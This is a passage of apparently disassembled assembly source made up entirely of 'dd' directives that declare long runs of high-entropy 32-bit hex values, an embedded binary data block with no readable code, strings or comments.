99614A4Ah dd 81684401h, 0C8C3069Eh, 0CC576D58h, 834131A8h, 0CFBB81EEh dd 73D9144h, 5CE3CED9h, 59E09B57h, 0CD34C6B6h, 0B608DE08h dd 0E5F208Fh, 0D930EABh, 0DF0FC5F2h, 9AF4CC4Fh, 0E865F980h dd 228F1DBDh, 0ABBFE076h, 0D80AEAA1h, 31B314BBh, 8B845250h dd 68C7D5CFh, 0BDFD42E9h, 0A3D7CA36h, 72218099h, 0FAA65F9Bh dd 817AE444h, 9B375683h, 0E3001h, 63F1304Ah, 8EE37F57h dd 0E5775E6Eh, 0B6F63471h, 6DED94B3h, 9F1D5B53h, 24DD40E4h dd 0F746BDAAh, 80F1503Bh, 0BD90B042h, 0C2412568h, 0B6BB2FD8h dd 876C6627h, 148CB4D1h, 67C1AB42h, 43EC03C1h, 0D465E448h dd 9DD42E57h, 0F5214FD5h, 0D6346DF3h, 0DC7D27CFh, 0BF241F36h dd 4454B6A5h, 8183CD66h, 0FDB435D5h, 631D6B8Dh, 2388BAEBh dd 4875ECADh, 682F44C0h, 58B3D22Dh, 94662746h, 8CE68AAh dd 519BE2FBh, 0CAD571C1h, 1616882Ch, 36015E92h, 77802006h dd 6321D7ABh, 0B1F07E3Fh, 0CC8B7734h, 3ADED2A6h, 0B664CA05h dd 42D78487h, 0A119A4DCh, 0ACB4A1B9h, 0F61498DBh, 37D0E8C5h dd 4EC8BBB9h, 66157557h, 7DDC2C9Eh, 9D1272D8h, 0BDD48D88h dd 4F7EF361h, 0ECC977EDh, 62BA130Dh, 992BD60Ch, 0E93752A5h dd 0E82EC15Ah, 0CEB705E9h, 0CA17556h, 0A717C174h, 2C457554h dd 35C9995Ah, 5FD66BBDh, 0F5AA4861h, 4239B436h, 6241D826h dd 3692B957h, 0C45EDD46h, 0CB1338EEh, 0BFC863C0h, 46EE2649h dd 9D9619BBh, 0F3375122h, 586C7B7Dh, 829C9127h, 42ECE666h dd 240C8AFDh, 9DA4C1B6h, 0EC020120h, 9402E71Ah, 7D925D45h dd 433E96C9h, 16E1A093h, 0B656AAD2h, 0DF4C48FCh, 5AD3020Fh dd 4AFE9151h, 0AFB2B67Dh, 0D8C9F13Ah, 0EF5C9D67h, 8D73C277h dd 358CECA9h, 28EDCEA4h, 0E6C26F26h, 0A316C015h, 9011875Dh dd 177B736Bh, 6809BF37h, 39CE7F77h, 9DC9DF98h, 99E8C783h dd 79D77EC2h, 5FF093A6h, 0C9D63E7Ah, 0E7B1BE7Bh, 857CF43Fh dd 46C5F3D1h, 43FE43CFh, 0C74685CFh, 86A90575h, 0AE829EABh dd 8B16303Ah, 0FF89D559h, 51D37FD0h, 4707FFDEh, 8E1BFF79h dd 18FFD59Eh, 21F618B1h, 7A4C0288h, 360E394h, 0F79F8513h dd 3460FE91h, 2B92D98Eh, 0C88096C9h, 4FFD0B60h, 0B665D2F4h dd 0FDC65E0h, 0EEE12B83h, 0C36C6302h, 0B0A163B3h, 5E736644h dd 88317DA6h, 763D84AAh, 253298C4h, 609C70D0h, 61FB5992h dd 0B349812Ch, 95649FE4h, 69E6BCBBh, 936F554Ah, 2BDB1DBBh dd 33CC8C05h, 0FEC966DAh, 0FDD65846h, 0CF0EFD8Ch, 0FB606AF1h dd 2682AC9Ah, 8403B414h, 875CBEA5h, 5C7B5745h, 0FAA88D77h dd 4BA53A8Dh, 4DAC5DB3h, 4C628BAAh, 0DB47B410h, 465F036Eh dd 68DFDB34h, 0E3C7AEEEh, 9D439F02h, 2E89AAD2h, 0E2E83ADCh dd 25FF0D58h, 741DF740h, 3BDD45A8h, 98844E80h, 34631080h dd 0D6A8C71h, 74443BBAh, 20B5E75h, 9337417Dh, 0B35EEE82h dd 0BB55BD6Ah, 77340FADh, 0C877CCB1h, 0E89F8138h, 0E96D23E0h dd 0B0F9A91Fh, 81782161h, 2C7AA9ABh, 0B15E20ACh, 0DD337154h dd 6E1F0E49h, 12750820h, 0D5860C8Eh, 0B772C388h, 8CCC394h dd 47E88836h, 7AB2932Ah, 3A8A1FEBh, 2F4F2F2h, 4026FE6h dd 6C50F2ACh, 70101C6Eh, 0E8783CAEh, 41295CF4h, 7D456C7Dh dd 5B84799Ch, 618F8B96h, 6B175EE4h, 0A2E6655Ah, 4121E03Eh dd 0A85628B7h, 0E92F5946h, 616B13E0h, 0DEA2C47h, 66774FF7h dd 67A7848h, 0B013A33Bh, 0CDDFA8FFh, 1D34EEC0h, 5EC137AFh dd 67C98B67h, 587CB5CAh, 562ECF56h, 0C64C3392h, 54153C8Eh dd 5C26A8ACh, 0CC8583ECh, 6E3E6C06h, 0C2C0F936h, 0F7C3CC47h dd 0CA81D693h, 85D5C979h, 2063E0C5h, 0D473FD19h, 228E3BD7h dd 0DC42FEF9h, 0C74AE41Ah, 186F9305h, 0D7B53EEh, 0F2A28FE5h dd 81D4EF83h, 0DCE256A4h, 56503371h, 5D80CD99h, 6E338C8Ah dd 106E11C9h, 5EE1811Ah, 0E323029Ah, 979CDC1h, 3BBAAB46h dd 4177A76Ah, 5CEDB063h, 0CC3C5FB1h, 0C38AE9A7h, 793CB67Ch dd 0B4FD1498h, 33829367h, 13CC16A5h, 6EBB0C10h, 0A59DB822h dd 6AF221Dh, 0F3DC481Ch, 8C47CDB2h, 9E3B5AEDh, 9D658024h dd 0ACB0D878h, 0ECF98077h, 50D82142h, 0B987AD08h, 0CCC2ECF5h dd 0A1B8C3DEh, 0D6182E5Fh, 383E0093h, 0B495714Ch, 0D9E32127h dd 9C43F4C5h, 0E443EEB2h, 6A6647ABh, 0DE386D68h, 0C2C623BCh dd 0F20D7D50h, 0C8F061C8h, 85672146h, 1272E485h, 7E8DFBAEh dd 0EF8746AFh, 0F03B9265h, 0DF248BB0h, 8CF139C5h, 4389E781h dd 183754C6h, 0A8A6E0E0h, 0EE89B70Bh, 5103830Eh, 0F91F8FF6h dd 0E0DFB59Eh, 0C2F98789h, 3FFBB4BEh, 0F1BA418h, 0CEB8071h dd 0E21F9744h, 43A2E986h, 0B0530DA7h, 0B2D0B3Dh, 0C0EC4F16h dd 441D02B5h, 311EB63Ch, 0F21ED53Dh, 636662D0h, 0FEE0EEBFh dd 36D4D78Bh, 469EEF9Eh, 0E006F836h, 0E904ED69h, 2784C9B8h dd 0BE2F3138h, 0EDBCC55Fh, 61E76B1Ch, 90B675EEh, 0B1531863h dd 0D89FC2B2h, 0A31E6257h, 201ED1F1h, 5D9710E3h, 90866607h dd 1615BFCh, 45357F21h, 0B83B666Dh, 0E4B075FEh, 0F2FF5CC3h dd 0E8F3E47Eh, 0E1B11FE6h, 72DF76CFh, 0FE7FFBBAh, 0CCA7BBC8h dd 0E58D1FC6h, 0D627A3BBh, 0F53123FDh, 9F10E37Eh, 80D3DFC8h dd 0DAAFB176h, 45E6A63h, 552DB326h, 54FFF627h, 73B437D3h dd 60C37F4Dh, 39DB5FC4h, 0A7685FFBh, 22B48553h, 0B8D9A470h dd 33ACAF08h, 93B4172Ah, 487CE1D2h, 0AE30EAE1h, 0C47FB9C8h dd 0EE315B74h, 0D869EC8h, 0D15288FEh, 23CC7377h, 0A96C6400h dd 764D0E85h, 1B231D02h, 0B3BF35ECh, 0AF1251E0h, 0F61D83C6h dd 7E5FAF28h, 0B6AC7D18h, 5BB42C3Bh, 84EA95CAh, 315EBBE3h dd 9743CEF9h, 87B39638h, 0BAF2169Ch, 805BB2B6h, 6153F030h dd 3F8BC3Eh, 6CED5FF9h, 0B58A2439h, 22EC0382h, 4B70673Ch dd 0EE70015Ah, 0B93F0B3Ch, 0DCD89AF2h, 0DADFC81Fh, 0C01ECC5Eh dd 0C9F7B8D1h, 4F947C6Ch, 9D86042Bh, 0A478B7C2h, 1A703EEAh dd 36617BBh, 983F08D7h, 394376E0h, 0D9E9446Eh, 2849E90Ch dd 2738C93Dh, 38B20BDBh, 840EEF7Bh, 87BBC561h, 0D8BA50B8h dd 32053366h, 8D6BBD03h, 697A01D4h, 1C0537C6h, 0F8107FAFh dd 1DEBE8F0h, 1FECD990h, 7D1DB63h, 0D0C2EE61h, 0C889B665h dd 0C9BD0EDFh, 6F4A4DECh, 0A6AEB1A5h, 0ACC13B74h, 3C0443E0h dd 3062D332h, 94F9E230h, 7E30403Eh, 0A041F4Ah, 5B258364h dd 49D30D89h, 60CE07C8h, 847DF7FBh, 995B88B1h, 0A48376D6h dd 1F73A04Ah, 8F920216h, 23558562h, 0D67B23FEh, 0D81FF8FEh dd 88A817F3h, 76ED8F3Ch, 63B6ED19h, 0BB46EDBBh, 0C4284D7Bh dd 0A31682BAh, 0EE561F72h, 338EDA33h, 7951992Ah, 50712B10h dd 2F7154E4h, 38F67DFDh, 8FBC11C3h, 2F08C2C4h, 0F3EC376Ah dd 0FBE786FBh, 8FAE9B5Ah, 43DBAE98h, 3BF54EA7h, 0E3D230DAh dd 2748D891h, 8B28C116h dd 0BFB07665h, 0F30F3FE4h, 13DCE12Dh, 15D4831Ch, 445F6D68h dd 0FD9F7DB5h, 413F7DF0h, 722D7EC0h, 34F4106h, 41394341h dd 0B06801FEh, 0F6DDBBC1h, 0DC0F4E03h, 9238E9CFh, 9BAC7D82h dd 61D9DB9Eh, 0DF601E7Ah, 7D9DB3D3h, 0ED09F8C5h, 0CADCF467h dd 0FF633276h, 62DF70C7h, 0CB8ECD9Ch, 0B164EB10h, 5E0F10B6h dd 33F222D1h, 0F90F33D5h, 746DDCh, 0BAD08B1h, 0B2D5D99Eh dd 0E8ECCEB3h, 0BF05860Ch, 0C089E3A7h, 6D085D4Ch, 0BA36B2ABh dd 0E7F75375h, 0B1D7BD6Ah, 2528B602h, 0BF5A8B6Ah, 0EC5B03C2h dd 7ED09EEEh, 0AF648A65h, 16AE8259h, 0A937832Eh, 551EE756h dd 7EAB6D0Ah, 61751B44h, 8F4EA2C4h, 0FAE5FE5Ah, 0CD412ABCh dd 4E76CDC7h, 46DCECC4h, 564D8DEEh, 0ABC763ADh, 0EED778D2h dd 0C6457FCAh, 4B2A93F2h, 0BE1ACC83h, 0C84A8725h, 96AD7B9Fh dd 99CDA822h, 4F3DCD1Fh, 0CB3A10FDh, 4CDEA9DCh, 3B362387h dd 3E7372F5h, 21A3A0E4h, 72822713h, 0B326AA7Eh, 3E9EDF69h dd 39EA70C0h, 8AF9255h, 7D935289h, 54E4E477h, 7888D1D3h dd 0B47E6C0Bh, 5A781314h, 0ABDEF952h, 0D0D764D5h, 0A16A21AAh dd 327875E4h, 946D240Bh, 0E71D5CA3h, 6DEF9730h, 7884F2Dh dd 2BA4E7F7h, 98578F07h, 639E8CE9h, 8BC9928Eh, 9C296B27h dd 0B9C4C75Ch, 7B15AA2Dh, 0CDEDD1C5h, 0E513590h, 3255309Eh dd 21C77C28h, 0AF26794h, 83EE52B5h, 87BDF29Ah, 444613CBh dd 0C2F7C23Eh, 5B4F3515h, 7596F41Ch, 0DB278533h, 0EAF47970h dd 0B331F215h, 0BF5A2A3h, 0BE0663B3h, 19E4130Eh, 59F0AFCAh dd 0B2B1B858h, 0E0D81044h, 0BCF198BFh, 56C9994Ch, 0E01D085Eh dd 4F51851h, 693B238Bh, 7B3D0413h, 9398DBC4h, 8D76A428h dd 24BBEDA9h, 25D345B0h, 0C8F623F5h, 69584130h, 0E714D827h dd 0BB0ED771h, 26CC1DF6h, 0F1407FC5h, 5A6AB7h, 9363A16h dd 77759440h, 0DB5E16E3h, 0CC0A007Eh, 0D5E02079h, 0F9424861h dd 7E047856h, 841E80E5h, 39842D62h, 95B2AD59h, 0FCB1B114h dd 33100156h, 0C6A82540h, 4E013610h, 685A6019h, 16207F3Bh dd 0F0FDE230h, 0D8718D85h, 9B8299Fh, 0C83F04E1h, 0E8079421h dd 0FE8B5DCBh, 0FC208170h, 0FEA1CA5Eh, 34655CE6h, 0DF46185h dd 0F780D580h, 0F164EEA7h, 71B3E630h, 0E71E7F9Ah, 9C317DF3h dd 203FFF13h, 642CF27Bh, 173A4E7Fh, 91E7E599h, 42BFFF5Dh dd 0B2167196h, 0A645CF6Bh, 0AB03A764h, 201D483Eh, 0C9FAA03Ah dd 5704987Fh, 0F69C0F87h, 0A4076C9Dh, 0C6C50D35h, 5D10BCAEh dd 196C03A8h, 76A3A8E0h, 5013076Dh, 0A14DBDCAh, 96484835h dd 6A853420h, 93C56521h, 4862D086h, 296A51C5h, 0F529E2A4h dd 4A24A414h, 254872Dh, 54859EA5h, 7D1EA522h, 946DD75Dh dd 892A41F2h, 35217352h, 90955280h, 54A64Ah, 0D54A7652h dd 0EF41CA40h, 3E23D44Eh, 6677FD5Bh, 7B1B26B5h, 34F22489h dd 4869A352h, 0D5A6A15Dh, 0FCA14542h, 5D928E0Eh, 0F3C2E30Eh dd 41A0349Ah, 6C704B5Fh, 4A3DA405h, 0BAABD468h, 6684AEh dd 9B0EB6B0h, 81EEEB28h, 518D2ADFh, 8A8E3F7Bh, 0BF0DDD36h dd 7B3DD5Dh, 0B2021A6Bh, 3D750FBAh, 41C79ACBh, 3705DF23h dd 5F68B021h, 54309B0h, 3533CEFFh, 0BBC3206Bh, 6EF2D751h dd 1D7D4DD6h, 2E107B17h, 7E92C166h, 0D5D5F341h, 0B1050F61h dd 91D7EAE5h, 956BCAFh, 4FD03C6Dh, 1F6F0D46h, 77E107Ah dd 508FBF56h, 2895A18Dh, 2AD0C6CAh, 725E047Ch, 410BD1C4h dd 5CED4A9Bh, 760F6A04h, 0A4EA6C82h, 5C864D5Ah, 0D032EF2Eh dd 0F66BDBA3h, 0FD7DB943h, 9DD36508h, 4D2C2BA7h, 57D1E84Ah dd 0EA2EDBFAh, 0E8961900h, 0B4AB0EBh, 486BFE5h, 0EF46596Fh dd 46AB03D1h, 87461E63h, 7DB5BCF0h, 8C91087Dh, 0EC3203EEh dd 7981CC4Fh, 8699AF69h, 0BEE171F1h, 0BECD3460h, 3DE0668h dd 9CAD08CBh, 0DE8C382Ch, 19F4F40h, 89B6ADDh, 127BCA15h dd 0A3129058h, 4CDA0B46h, 0C4505078h, 9DE001D1h, 86711DB0h dd 7F64BA83h, 1C1B5C21h, 0C6D6308h, 0B54C1B21h, 0D157ACA1h dd 0F91FAAB2h, 0C3F3D9E2h, 638D1561h, 240A4763h, 773023ECh dd 18C8831Ah, 78B7DB53h, 2BBD4454h, 45A06BA1h, 14BC12B9h dd 3E3EDA2Ah, 0DFB91CA3h, 519FEF6h, 42E01257h, 0AB6D659Ch dd 61F77CA0h, 69ED30CEh, 173A7FAAh, 0A6E37B7Eh, 56D5A2BAh dd 0CE158425h, 871A12B0h, 1732A685h, 555D5415h, 2AC6DAAEh dd 78ABFA5Ah, 0AAE2A3Fh, 0B7C59B96h, 65620066h, 25140653h dd 0F2E62E3Ch, 509D9116h, 66ED76Dh, 55C1E52Ch, 4D782204h dd 434B451Eh, 0C1FADBB0h, 96D18F3Eh, 8B9B69CAh, 433F49B4h dd 1DF808DBh, 9D5EDD4h, 0AF197B5Eh, 4146E241h, 0AEC9ABA9h dd 0CCE0A7Dh, 994083ACh, 0CFB32883h, 8BAECA26h, 18A6B033h dd 35DB2358h, 0AF0DDF03h, 77F05F21h, 94E8DEBFh, 17A0810Dh dd 3AFA7741h, 4B6895CCh, 2C490296h, 7D70087Eh, 0B6449613h dd 8EA13605h, 2F3BE0Ah, 806129ABh, 23460D34h, 0B58F0245h dd 6D450DDAh, 0FAB3A123h, 536516C3h, 8438EBFEh, 5C421838h dd 9B29CF19h, 0CB41436Dh, 2D5BEA9Bh, 16574C72h, 48A2852Eh dd 0B361FD56h, 0B51269B2h, 0E9168748h, 6CA73C65h, 0E6168C96h dd 431C2DD3h, 0FD8EBB51h, 7C850789h, 0A0F88BD8h, 316BD675h dd 211D074Dh, 2F2A99F6h, 17BBF18Ah, 0F3617D35h, 9B2C8C50h dd 640484AAh, 0D4189E50h, 0AC5F6CDh, 4D0CB4BEh, 22EB022h dd 8B031EDBh, 12DB642h, 7174DBA3h, 34578256h, 0E8AFD144h dd 5E692BA1h, 75293979h, 0D78F661Ah, 5E497D9Bh, 80EEB433h dd 0E39609D6h, 45E422F5h, 791BB7C8h, 901DE407h, 4DE4667h dd 0FE41379h, 0BC7ADE62h, 623C825Eh, 0E9F2356Fh, 4F6F9AF6h dd 43A65682h, 0D36A01D9h, 0D3C9C9F6h, 7B5D63h, 2FB0EAC7h dd 0C259E30Ch, 51A70761h, 0B509DD0Dh, 0D45737C0h, 6B197A1Eh dd 9437DE5Eh, 0C01E65EEh, 79682107h, 0AFA0B885h, 27C08EC3h dd 9A0263BCh, 7D89CE3Ch, 0A26C09C4h, 0D92A6486h, 542D2545h dd 6C952772h, 0FEC12A7h, 0B102B395h, 0A29CC12Eh, 0AA21A335h dd 0C5AF07B7h, 521AAD57h, 0EF9A4EA8h, 0D8ADB450h, 56C2F162h dd 4E57EA00h, 6E442BD9h, 914D258Bh, 1CD258DCh, 2D258EC9h dd 4963AB91h, 2C717231h, 89491719h, 8491AD25h, 61E3258h dd 5016F6B2h, 356137C4h, 495A6C0Dh, 70497BBAh, 0B501875h dd 2DAB1B15h, 24A16D0Eh, 0FFD906A1h, 9E3C1668h, 0DC95EAC0h dd 0C5DA1B6Ch, 127C7EEBh, 3A1EDAEBh, 0FBDE27C1h, 406460AFh dd 6199B7Dh, 93C54DA5h, 0FB9CC5D8h, 0A46E178Bh, 49881CB1h dd 0D3B5E323h, 2BED6806h, 612BC934h, 4173786Eh, 0BF223677h dd 0B27545ABh, 722686A8h, 0AA21C59Bh, 0B293402Fh, 27D49106h dd 0A2792935h, 0B41491AAh, 24BF5455h, 40AFF540h, 8C9DA8C6h dd 0A9B5FDFAh, 0CA167B56h, 0A904976Ah, 5EAC657Eh, 0C6354D0Bh dd 0B9638A92h, 6CA2C682h, 0B7D1CE5Ah, 4D39EF2Dh, 611252E2h dd 0EA88522Dh, 236414F5h, 6B2AC617h, 0AC7172A9h, 97573172h dd 7ED8A9B6h, 4A6C8113h, 38539AE3h, 0A508081Eh, 0CE8A79A3h dd 720A00B9h, 0AA3320A1h, 2EC1AA6Ch, 6683DF36h, 0E23C12EEh dd 42931978h, 574C20DBh, 4D7B0439h, 78313F52h, 76D4D38Bh dd 0A3528A32h, 6F1FD235h, 9572FF98h, 0A12B88Ch, 61423B20h dd 0AC9520FFh, 4BEC287Dh, 7C8E67AAh, 42C3C8C3h, 1DAD2573h dd 6724E9BEh, 9F3B1FC8h dd 0F152078Ah, 2DD2E38Bh, 0BB45BF0Eh, 18A58255h, 8B11FD79h dd 323790E6h, 5C79A8DAh, 0C42182F2h, 13DDF63Ah, 84B934C0h dd 2D09F3DDh, 2E684AF2h, 0A98248Eh, 0D10BA8F4h, 0DF21298Ch dd 7F82482Bh, 15285356h, 0A312BFC8h, 76052826h, 0A4ABEE61h dd 0A97BDCB6h, 8BDE8D58h, 9BAA26Fh, 0FA36C96Bh, 7EAF6CD0h dd 0BC4F1485h, 0A9842725h, 7A54ABAAh, 9AF59CC2h, 9571B5F4h dd 0EC0F0300h, 0ED7A180Ah, 0EA83A028h, 0C1ED91CDh, 104288DFh dd 82C122B6h, 0BD2DBD5Eh, 0A9AC570Bh, 864CEA0Dh, 0B561E1F9h dd 828663A0h, 556D185Eh, 0BC62A1Ah, 7FFC008Eh, 0E477FE15h dd 3C0B0E09h, 1C17CDAFh, 1CFFF86Eh, 8E08273Eh, 127FFC20h dd 73C20FCAh, 31C144EEh, 872836F2h, 9FFC32FFh, 0E1CBFF06h dd 7FE0EFFFh, 45FFC25h, 0FF859FFFh, 7CF6D0ADh, 0B4856F80h dd 58E09275h, 0C0F7FF07h, 9FF063FFh, 0EEC1F09Fh, 0ABBD6BC3h dd 0B1C8CDC9h, 5793B774h, 0F890EEE9h, 27F22DABh, 267451DDh dd 4DBD2995h, 42E45DEEh, 0FF91F7BAh, 0E7216EE8h, 3C807DD1h dd 83AB7747h, 0DFD1071Eh, 935D8674h, 80E7CC42h, 897CBBDFh dd 952DAEB9h, 0FACD8387h, 7DC86B6h, 7C94D7C2h, 0DF8DB712h dd 78F09650h, 944A9551h, 3C2CBC64h, 0D546F459h, 7732BBE6h dd 0E652D568h, 396975A7h, 0D78F17B5h, 3FCE46D2h, 0B3310029h dd 0C51BBF0Eh, 9C66CE9Dh, 0EF6B58FAh, 0DAF075AFh, 0F536A9EFh dd 0D6135ADCh, 89714BAAh, 32CA8AF2h, 9296AA5Ah, 0DFC32C6Eh dd 0A95C32DAh, 8A2F96F0h, 544B4D42h, 0A67CB02Eh, 2EFE4817h dd 5E52D96Dh, 0BB3F8383h, 5289CD02h, 0D85D9D25h, 0E7CDA1CCh dd 774BAB40h, 2CA0469Dh, 0F7F845DBh, 0DC327E11h, 4D285B4Bh dd 19297B26h, 880765E6h, 67BFB42Eh, 0D38B5475h, 71170E32h dd 0D5260965h, 92CA7DFCh, 51689419h, 0E2505496h, 41E4B280h dd 4B2AB44Ah, 41C4A51Eh, 120F8965h, 33E6AE5h, 27973523h dd 1FE4807Fh, 921DB278h, 8793C95h, 0D93CD592h, 0BAB41861h dd 4BB5A3FCh, 93A25016h, 0FCBAB09Bh, 3525DAAEh, 595475D4h dd 5E894B52h, 201A0965h, 3A3170D9h, 0C8E0F006h, 0AC79D369h dd 81A0BF5Dh, 44F4510Bh, 0CDAB710Dh, 0AE3B9925h, 0B15A4BF2h dd 0A82ADF44h, 7B581B4Bh, 0C77F6C01h, 0FAE5FE5Ah, 1011D66Ah dd 0D738899Ah, 8017BE05h, 0C8F0F081h, 408D9979h, 4504CF13h dd 5A3B3C20h, 3F60366h, 0F754CFE8h, 3FE5B552h, 6AA49F55h dd 41AAE7F1h, 8B67D05Dh, 67818503h, 773452DDh, 941CCBB5h dd 0FC69481Eh, 414D2EADh, 0A59739Fh, 4D2953A5h, 1A696886h dd 0B977F1A5h, 1F1D34BAh, 9E74B2CAh, 0F0E794BBh, 87432DA1h dd 441CACB4h, 305CAE5Eh, 0FEEDEC76h, 5B5DAF2Eh, 85B9DD76h dd 43DE2D6Ah, 3B1BBB89h, 3549825Dh, 22594BBFh, 0B90219C7h dd 0C810CE33h, 81238D4h, 0C9BDB1C2h, 0E3640B67h, 0E943F72Bh dd 50B33ADCh, 4673D4E2h, 0BD8421E3h, 36F306C6h, 29CF1A30h dd 0B7087B04h, 0C9D1818Ah, 0AFC5F198h, 0C11DB531h, 0FE1D4CFCh dd 0C54509F7h, 58977B9Bh, 98BD5E1Ch, 343ACCDh, 0DABECC5Ch dd 60E543C9h, 57010351h, 0E2CCB88Ch, 0E941F590h, 9E07669Dh dd 5CA151ABh, 7A0FA252h, 51D9A8F4h, 92FA11B1h, 3EAB7715h dd 0BAC841E8h, 0A3497C9Ah, 1ED26431h, 0F44DC3CAh, 9337DC68h dd 4DD6D64Dh, 7E460E5Dh, 3C260BCAh, 61357113h, 36C2E014h dd 0B99D130Ch, 8FBFFE11h, 73C68BBh, 37978719h, 0C70DF57h dd 0EAB6B4EDh, 73D2505Fh, 55EFF03h, 4CEDF066h, 0E8DA6EE8h dd 36321FE7h, 279AF6FAh, 56F7D0F0h, 0D8BC6931h, 9315EBBDh dd 0BB64C182h, 2412E271h, 0B0B157EFh, 25E9E76Ah, 6685AAC9h dd 71FF5B18h, 19A1DFA8h, 41AD7127h, 15040495h, 53D8CF27h dd 1066B5E9h, 0F1AA86Eh, 824A664Eh, 87797BAh, 44B630ACh dd 5583BB99h, 0D7735D92h, 954096C1h, 0FCDB43CAh, 70235556h dd 962D9E28h, 0F047362Bh, 0BBA4D136h, 2C5CDCA5h, 0BE8CFCAAh dd 0F634F088h, 4A17B992h, 6A20B4E2h, 3615954Bh, 683C6618h dd 4B2AB2C3h, 0D99D22B9h, 0F5B2AE2Eh, 0F016DBB8h, 42712A49h dd 0D99C8789h, 827B4C37h, 12DFE966h, 0B6442D71h, 8D9902F1h dd 11001280h, 0D670377Dh, 254B2061h, 77AF92B9h, 6845F342h dd 0BF93B93Bh, 0BB8713B6h, 8EF93B88h, 0A1ACF25Ah, 9AF64A5h dd 0C41F1712h, 0B24F937h, 0F5335165h, 49428F0h, 6525176Fh dd 98EE3A11h, 0E66EAB62h, 9B8144A1h, 176E6011h, 88B296E7h dd 5D95B3FBh, 0B27B98D8h, 0C45C2E81h, 18684595h, 8EF064E7h dd 206845B5h, 29AA7733h, 0BF055E38h, 8B0C1097h, 661067AEh dd 8C400FD6h, 0F63977C3h, 0E13F5F87h, 9B35B15Ah, 0B79BE1F0h dd 56849011h, 0F2A923C0h, 0F74D804Bh, 0AE86A95Dh, 0A6244639h dd 0AAC88B2Bh, 218EB285h, 2D298B05h, 2EAD1A52h, 8AFAE740h dd 1CE9BC40h, 595CB73Ch, 0E867EDC4h, 8E863D2h, 3426E22Eh dd 6473C194h, 40574345h, 0DA1176A6h, 0FAF42D4Fh, 0F71E6251h dd 0C8BD7EFBh, 0F5C8DC8Ch, 650D3478h, 0F01252C1h, 5B23684Ch dd 0E815A780h, 0F22FDC42h, 139A4083h, 8BFB6EB5h, 61724138h dd 84BFB502h, 2CFD5629h, 524B0FCCh, 0E7DEE2BCh, 0EF734ABBh dd 0A0208AF3h, 0C8E660BBh, 409C218Dh, 1E431A03h, 62AC8878h dd 5B49C921h, 0FC9CBA57h, 0A85995AAh, 90F1FEDDh, 6CEB3A7Ch dd 2A664BDFh, 0E35A3700h, 5B8A3CF2h, 1FAAB5AAh, 9DDFB1E5h dd 9C5F8303h, 0F3E76629h, 297E2D4Eh, 820BE748h, 0AB46AAEFh dd 9179A555h, 0DFD56B57h, 134D9B26h, 0FC00F23h, 15383886h dd 0F2172E07h, 55A362BCh, 5365C954h, 0BB9A2DDCh, 2336A105h dd 35E8A354h, 794D5A37h, 0B973568Dh, 80274C1Ah, 0FB9A03h dd 73C02h, 0D6335E79h, 5297F519h, 6EE6B37Dh, 10AAFAC6h dd 0BB3A40CEh, 0C8CD6E0Bh, 5E43183h, 0C65C03Eh, 87FA0E60h dd 0BEEC4D7Ah, 9E509322h, 0B33C96E3h, 0EEC75F61h, 0F48C1C84h dd 96D5A360h, 220FB9A7h, 93F63362h, 813CFD4Dh, 0E38BE6ABh dd 7A40D980h, 0ABB95E5Eh, 7360295Eh, 959B8A2Ch, 0E098AB07h dd 8D68DA1Bh, 0BFAC6687h, 8D0D5F59h, 13680F32h, 6D54F8F3h dd 91E626B4h, 68BBBB7Ah, 0EEA926AEh, 0E31572AEh, 33723054h dd 0A8EE682Ah, 1B4D0CD7h, 0CBBBA9B0h, 8AB9CD4Ch, 0C31FD58Ah dd 5B44104Ah, 0FCC4D77Fh, 0BB09E0FCh, 0B7EA4532h, 55728E1Ch dd 0D20465A5h, 0BCCF6862h, 2A7B422Fh, 5D99C13Dh, 0DBAA5180h dd 0DE17D792h, 0CD6B5AD5h, 5A71C283h, 52623AF0h, 65D55834h dd 44040D9Fh, 0D4F40081h, 0D7F9FBE3h, 883BB9A1h, 4644518Ch dd 17464634h, 4B72EB50h, 0EE74FFD5h, 8D0179CFh, 5EE3F545h dd 4814A3D1h, 8FF80B11h, 3CD4D68Dh, 25571517h, 4C7635A8h dd 4005E5E0h, 54FA5FDBh, 19CF74ACh, 1C69E980h, 0F8400EF0h dd 66589051h, 0C5F0DAD4h, 0AC7C4D63h, 125BA0A7h, 0F2B71D2Dh dd 19CD4ACAh, 0E45B21CEh, 555C009Bh, 8A24C09Fh, 0B9B5FC38h dd 578F3936h, 0BDA75F55h, 0B549D680h, 0C347D380h, 73F71C02h dd 0C059A01Ch, 6C10C058h, 5D045D10h, 9991A2D9h, 91CB6E72h dd 13CE52FCh, 0A57CA268h, 354A5630h, 0A460935Ah, 6E1BA7F6h dd 1BDBABCDh, 3B5CC6FEh, 79F5CF38h, 3A282DF5h, 539BCB0h dd 0A403A552h, 88979A64h, 0C4C8CFE1h, 20294588h, 0F4808A4Eh dd 0A4E202E8h, 67388FD8h, 0CD954BAh, 3B409EEDh, 0D1B7BBE7h dd 6192AC9Ah, 70BCC513h dd 0DAE619ABh, 0E4A63CCEh, 556AB790h, 0B34E18C9h, 61B73A74h dd 0A5A1AD06h, 8C075313h, 0E733A594h, 698AB209h, 0EAA1EDCh dd 0D832834Bh, 45C639D2h, 470EB3C5h, 0CD30180h, 36B6083Bh dd 0E746859Ch, 4613401Fh, 575D5CB6h, 0EDEA0520h, 277535C0h dd 3EBECB48h, 3A5660Ch, 8472E40Dh, 605FFD03h, 988EEECCh dd 8608DCB5h, 0DEDF368Bh, 0CADAFC05h, 400A314h, 0CCA18AC0h dd 0E60A7302h, 0F6677015h, 0A6486048h, 0DF8D1A5Bh, 0DB36AA7Fh dd 90EB46F4h, 14D0B3BCh, 0CDF37DB3h, 80A1118h, 940EEE2Ch dd 1D0A3BBFh, 7E0C6ACDh, 0E0B9CE80h, 875A3673h, 0D308BAAh dd 7300B1CCh, 53674D28h, 0C73DD08Bh, 0FB14B6D9h, 6EB472A0h dd 0F45B4037h, 116D05CFh, 1A437C3Eh, 79E417ADh, 0D5A3721Dh dd 66CC5791h, 0C05437CCh, 0FFC03311h, 0C38D3E67h, 0E79597Fh dd 5FF71D9h, 0EE134090h, 0B409081Fh, 4697EDEh, 0C3DF6E59h dd 0CF0F36B1h, 6178E347h, 0E89E4B5Dh, 2BC3AF0h, 5D98AA0Ch dd 0E6C9F38h, 158A05ADh, 280EB452h, 0A89D6079h, 0CE8A481Bh dd 0BECAEF30h, 0E9FDBF7Eh, 79589430h, 96B24597h, 635990E7h dd 0D34BA900h, 4039177Ch, 0B4D68D6Ah, 8EB422BCh, 0EE291EB4h dd 3B7B9AEDh, 4025778Eh, 66A13A59h, 2ED51E58h, 9AADDAA6h dd 2ED62B7Bh, 0D6E0DAA0h, 0A3677554h, 810E22F5h, 10CE16EBh dd 126F936h, 